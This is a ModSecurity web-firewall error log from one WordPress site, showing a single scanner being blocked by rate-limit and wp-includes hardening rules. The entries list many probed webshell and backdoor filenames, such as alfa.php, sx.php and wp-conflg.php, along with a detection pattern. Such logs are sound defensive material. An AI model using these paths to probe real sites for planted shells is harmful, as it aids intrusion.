[Mon Dec 22 19:08:39.970740 2025] [:error] [pid 58078:tid 58087] [client 4.217.179.78:25627] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUkmt5WKg9Bf8njHlB4fUgAAAAQ"]
[Mon Dec 22 19:08:40.756321 2025] [:error] [pid 58078:tid 58104] [client 4.217.179.78:52121] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUkmuJWKg9Bf8njHlB4fVQAAABU"]
[Mon Dec 22 19:08:41.565219 2025] [:error] [pid 56080:tid 56127] [client 4.217.179.78:15824] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUkmuZIHT3YJq9hjDc7UGgAAAwM"]
[Mon Dec 22 19:08:42.283996 2025] [:error] [pid 56080:tid 56140] [client 4.217.179.78:26405] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUkmupIHT3YJq9hjDc7UGwAAAxA"]
[Mon Dec 22 19:08:42.918418 2025] [:error] [pid 56080:tid 56129] [client 4.217.179.78:25870] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUkmupIHT3YJq9hjDc7UHAAAAwU"]
[Mon Dec 22 19:08:43.596337 2025] [:error] [pid 33440:tid 33455] [client 4.217.179.78:21046] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUkmu5OsUWKqgxu6QTQdOgAAAQ0"]
[Mon Dec 22 19:08:44.350879 2025] [:error] [pid 56080:tid 56143] [client 4.217.179.78:20824] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUkmvJIHT3YJq9hjDc7UHQAAAxM"]
[Mon Dec 22 19:08:45.114813 2025] [:error] [pid 56080:tid 56133] [client 4.217.179.78:22757] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUkmvZIHT3YJq9hjDc7UHwAAAwk"]
[Mon Dec 22 19:08:46.240849 2025] [:error] [pid 33472:tid 33501] [client 4.217.179.78:22725] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUkmvp5p2WQpPIK8HAka7wAAAYA"]
[Mon Dec 22 19:08:47.165389 2025] [:error] [pid 56155:tid 56240] [client 4.217.179.78:20821] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUkmv2G8a3wQucsuN67f6AAAA5I"]
[Mon Dec 22 19:08:48.092723 2025] [:error] [pid 33440:tid 33449] [client 4.217.179.78:15563] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUkmwJOsUWKqgxu6QTQdPwAAAQc"]
[Mon Dec 22 19:08:48.781612 2025] [:error] [pid 33440:tid 33451] [client 4.217.179.78:25903] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUkmwJOsUWKqgxu6QTQdQAAAAQk"]
[Mon Dec 22 19:08:49.512243 2025] [:error] [pid 58078:tid 58102] [client 4.217.179.78:25889] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUkmwZWKg9Bf8njHlB4fXQAAABM"]
[Mon Dec 22 19:08:50.183055 2025] [:error] [pid 33535:tid 33557] [client 4.217.179.78:28103] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUkmwmOCI8D9Xtn-n7SquAAAAdQ"]
[Mon Dec 22 19:08:51.068022 2025] [:error] [pid 58172:tid 58175] [client 4.217.179.78:26372] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUkmw-SVKDT5jWOcnSXQcQAAAME"]
[Mon Dec 22 19:08:51.888858 2025] [:error] [pid 56155:tid 56235] [client 4.217.179.78:25614] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUkmw2G8a3wQucsuN67f8QAAA40"]
[Mon Dec 22 19:08:52.707733 2025] [:error] [pid 33472:tid 33504] [client 4.217.179.78:52152] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUkmxJ5p2WQpPIK8HAka9QAAAYM"]
[Mon Dec 22 19:08:53.479055 2025] [:error] [pid 58078:tid 58090] [client 4.217.179.78:26408] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUkmxZWKg9Bf8njHlB4fYwAAAAc"]
[Mon Dec 22 19:08:53.934864 2025] [:error] [pid 33472:tid 33520] [client 4.217.179.78:15555] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aUkmxZ5p2WQpPIK8HAka9wAAAZM"]
[Mon Dec 22 19:08:54.345384 2025] [:error] [pid 33471:tid 33494] [client 4.217.179.78:15552] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aUkmxr5BeNE7regJ7iw2HAAAAVQ"]
[Mon Dec 22 19:08:55.227471 2025] [:error] [pid 33471:tid 33480] [client 4.217.179.78:26387] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aUkmx75BeNE7regJ7iw2HwAAAUY"]
[Mon Dec 22 19:08:55.648485 2025] [:error] [pid 56155:tid 56243] [client 4.217.179.78:21337] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aUkmx2G8a3wQucsuN67f9gAAA5U"]
[Mon Dec 22 19:08:56.625753 2025] [:error] [pid 58172:tid 58187] [client 4.217.179.78:20832] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUkmyOSVKDT5jWOcnSXQegAAAM0"]
[Mon Dec 22 19:08:57.350799 2025] [:error] [pid 58078:tid 58087] [client 4.217.179.78:25882] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUkmyZWKg9Bf8njHlB4fZwAAAAQ"]
[Mon Dec 22 19:08:58.137980 2025] [:error] [pid 58078:tid 58088] [client 4.217.179.78:28154] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUkmypWKg9Bf8njHlB4fagAAAAU"]
[Mon Dec 22 19:08:58.760393 2025] [:error] [pid 33440:tid 33449] [client 4.217.179.78:25646] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aUkmypOsUWKqgxu6QTQdSgAAAQc"]
[Mon Dec 22 19:08:59.833668 2025] [:error] [pid 58172:tid 58183] [client 4.217.179.78:21010] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aUkmy-SVKDT5jWOcnSXQmQAAAMk"]
[Mon Dec 22 19:09:00.432570 2025] [:error] [pid 33535:tid 33560] [client 4.217.179.78:29755] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aUkmzGOCI8D9Xtn-n7SqvgAAAdc"]
[Mon Dec 22 19:09:01.210141 2025] [:error] [pid 33440:tid 33454] [client 4.217.179.78:15832] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aUkmzZOsUWKqgxu6QTQdTAAAAQw"]
[Mon Dec 22 19:09:01.669979 2025] [:error] [pid 58078:tid 58094] [client 4.217.179.78:26689] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aUkmzZWKg9Bf8njHlB4fbgAAAAs"]
[Mon Dec 22 19:09:02.496370 2025] [:error] [pid 56155:tid 56242] [client 4.217.179.78:26726] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aUkmzmG8a3wQucsuN67gIQAAA5Q"]
[Mon Dec 22 19:09:03.512447 2025] [:error] [pid 33535:tid 33556] [client 4.217.179.78:25896] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aUkmz2OCI8D9Xtn-n7SqwQAAAdM"]
[Mon Dec 22 19:09:04.021731 2025] [:error] [pid 56080:tid 56133] [client 4.217.179.78:15599] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aUkm0JIHT3YJq9hjDc7UKgAAAwk"]
[Mon Dec 22 19:09:04.887229 2025] [:error] [pid 33564:tid 33579] [client 4.217.179.78:28122] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aUkm0ASHeG6oLmMnKY6qKQAAAgw"]
[Mon Dec 22 19:09:05.723742 2025] [:error] [pid 33471:tid 33474] [client 4.217.179.78:22742] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUkm0b5BeNE7regJ7iw2bAAAAUA"]
[Mon Dec 22 19:09:06.505440 2025] [:error] [pid 33440:tid 33465] [client 4.217.179.78:25917] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUkm0pOsUWKqgxu6QTQdUQAAARc"]
[Mon Dec 22 19:09:07.180610 2025] [:error] [pid 56155:tid 56238] [client 4.217.179.78:15582] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUkm02G8a3wQucsuN67gJwAAA5A"]
[Mon Dec 22 19:09:07.981993 2025] [:error] [pid 33471:tid 33488] [client 4.217.179.78:21585] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aUkm075BeNE7regJ7iw2cQAAAU4"]
[Mon Dec 22 19:09:09.122311 2025] [:error] [pid 33535:tid 33539] [client 4.217.179.78:7121] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUkm1WOCI8D9Xtn-n7SqyAAAAcI"]
[Mon Dec 22 19:09:09.698691 2025] [:error] [pid 33535:tid 33543] [client 4.217.179.78:25076] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUkm1WOCI8D9Xtn-n7SqyQAAAcY"]
[Mon Dec 22 19:09:10.396339 2025] [:error] [pid 33440:tid 33449] [client 4.217.179.78:25064] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUkm1pOsUWKqgxu6QTQdVAAAAQc"]
[Mon Dec 22 19:09:11.938491 2025] [:error] [pid 33472:tid 33515] [client 4.217.179.78:28117] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUkm155p2WQpPIK8HAkbBAAAAY4"]
[Mon Dec 22 19:09:13.108929 2025] [:error] [pid 58172:tid 58197] [client 4.217.179.78:21620] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aUkm2eSVKDT5jWOcnSXQogAAANc"]
[Mon Dec 22 19:09:14.126101 2025] [:error] [pid 33564:tid 33590] [client 4.217.179.78:7141] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aUkm2gSHeG6oLmMnKY6qMQAAAhc"]
[Mon Dec 22 19:09:14.670087 2025] [:error] [pid 33471:tid 33478] [client 4.217.179.78:7119] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aUkm2r5BeNE7regJ7iw2fQAAAUQ"]
[Mon Dec 22 19:09:15.440879 2025] [:error] [pid 33535:tid 33559] [client 4.217.179.78:26744] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aUkm22OCI8D9Xtn-n7SqzgAAAdY"]
[Mon Dec 22 19:09:16.034564 2025] [:error] [pid 58172:tid 58192] [client 4.217.179.78:27636] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aUkm3OSVKDT5jWOcnSXQqQAAANI"]
[Mon Dec 22 19:09:16.691727 2025] [:error] [pid 58078:tid 58091] [client 4.217.179.78:25056] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aUkm3JWKg9Bf8njHlB4ffQAAAAg"]
[Mon Dec 22 19:09:17.191861 2025] [:error] [pid 33535:tid 33544] [client 4.217.179.78:29692] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aUkm3WOCI8D9Xtn-n7Sq0wAAAcc"]
[Mon Dec 22 19:09:17.971122 2025] [:error] [pid 56080:tid 56124] [client 4.217.179.78:29689] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aUkm3ZIHT3YJq9hjDc7UMQAAAwA"]
[Mon Dec 22 19:09:18.636705 2025] [:error] [pid 56155:tid 56228] [client 4.217.179.78:25069] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aUkm3mG8a3wQucsuN67gMQAAA4Y"]
[Mon Dec 22 19:09:19.153419 2025] [:error] [pid 56044:tid 56053] [client 4.217.179.78:29681] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aUkm3-60uUaieriJqP1aGgAAAIU"]
[Mon Dec 22 19:09:19.815598 2025] [:error] [pid 58172:tid 58183] [client 4.217.179.78:17836] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aUkm3-SVKDT5jWOcnSXQrwAAAMk"]
[Mon Dec 22 19:09:20.667381 2025] [:error] [pid 58078:tid 58087] [client 4.217.179.78:17820] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aUkm4JWKg9Bf8njHlB4fgwAAAAQ"]
[Mon Dec 22 19:09:21.351871 2025] [:error] [pid 58172:tid 58175] [client 4.217.179.78:27620] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUkm4eSVKDT5jWOcnSXQsgAAAME"]
[Mon Dec 22 19:09:22.348053 2025] [:error] [pid 33564:tid 33580] [client 4.217.179.78:27629] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aUkm4gSHeG6oLmMnKY6qNAAAAg0"]
